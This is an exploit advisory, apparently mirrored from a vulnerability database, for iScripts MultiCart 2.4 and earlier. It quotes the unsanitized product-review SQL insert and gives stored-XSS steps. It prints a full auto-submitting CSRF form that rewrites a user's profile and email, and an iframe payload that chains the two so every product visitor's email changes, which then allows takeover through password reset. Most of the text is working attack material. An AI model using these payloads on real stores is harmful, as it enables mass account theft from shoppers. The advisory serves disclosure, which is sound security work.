iScripts MultiCart <= 2.4 - Persistent XSS / CSRF / XSS+CSRF Mass Accounts takeover

🗓️ 01 Jul 2014 00:00:00Reported by RootType

iScripts MultiCart <= 2.4 Persistent XSS / CSRF / XSS+CSRF Mass Accounts takeover. Paid shopping cart system suffers from multiple vulnerabilities: XSS in product review, CSRF change in mass user email, and account takeover


                                                # Exploit Title  : iScripts MultiCart &#60;=  2.4 Persistent XSS / CSRF / XSS+CSRF Account takeover
# Date           : 2013/12/14
# Exploit Author : Saadat Ullah ? saadi_linux[at]rocketmail[dot]com
# Software Link  : http://www.iscripts.com
# Author HomePage: http://security-geeks.blogspot.com
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site Scripting

iScript MultiCart is an paid shoping cart system , suffers from XSS and Cross-site request forgery vulnerability through which 
attacker can manipulate user data via sending him malicious craft url.

XSS in product Review , so alot exploitation can be done as inject code will be execute whenever a product is visited by clients.
In Product_review.php line 52--- Persistent XSS

mysql_query(&#34;insert into &#34;.$tableprefix.&#34;Review (nUserId,nProdId,vDes,vActive) values (&#39;&#34;.$_SESSION[&#34;sess_userid&#34;].&#34;&#39;,

						&#39;&#34;.$_POST[&#34;pid&#34;].&#34;&#39;,&#39;&#34;.$_POST[&#34;txtReview&#34;].&#34;&#39;,&#39;&#34;.$aActive.&#34;&#39;)&#34;) or die(mysql_error());
						
$_POST[&#39;txtReview&#39;] is inserted without sanitizing.

Exploitation

Goto http://site.tld/product_review.php?pid=[any product id]
Paste your xss vector and submit.

XSS vector will be executed here
http://site.tld/productdetails.php?productid=1 --&#62;same product id for which you submited the review.

# Cross-site request forgery
&#60;html&#62;
	 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
	 &#60;form  name=&#34;ex&#34;action=&#34;http://localhost/profile.php&#34; method=post &#62;
	 
			 
				&#60;input type=hidden size=30 maxlength=30 name=userid value=&#34;5&#34;&#62;
			 
				&#60;input type=hidden size=30 maxlength=30 name=txtFirstName value=&#34;admin&#34;&#62;
			 
				&#60;input type=hidden size=30 maxlength=100 name=txtLastName value=&#34;admin&#34;&#62;
			 
		 
				&#60;input type=hidden size=30 maxlength=30 name=txtEmail value=&#34;[email protected]&#34;&#62;
	 
				&#60;input type=hidden size=30 maxlength=30 name=txtAddress1 value=&#34;asdf&#34;&#62;
				&#60;input type=hidden size=30 maxlength=30 name=txtCity value=&#34;saf&#34;&#62;
				&#60;input type=hidden size=30 maxlength=30 name=bill_country value=&#34;DZ&#34;&#62;
				&#60;input type=hidden size=30 maxlength=30 name=bill_state value=&#34;adsf&#34;&#62;
		
			    &#60;input type=hidden size=30 maxlength=250 name=btnSaveChanges value=&#34;Save Changes&#34;&#62;
		        &#60;input type=submit   name=btnSaveChanges class=button value=&#39;Save&#39;&#62; 
	&#60;/form&#62;
&#60;/html&#62;

#     XSS+CSRF Mass Email Change /Mass Account Takeover

XSS+CSRF can be used to change mass user email ,  after changing the email we can change the password too via
forget password option and providing email.
Just inject a CSRF iframe as XSS vector on product_review.php
E.g
&#60;iframe src=&#34;http://www.site.tld/inject.html&#34;&#62;&#60;/iframe&#62;
Inject.html ---&#62; CRSF exploit

So now whenever user browse different products their useremail will be changed automatically.

#Independent Pakistani Security Researcher

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1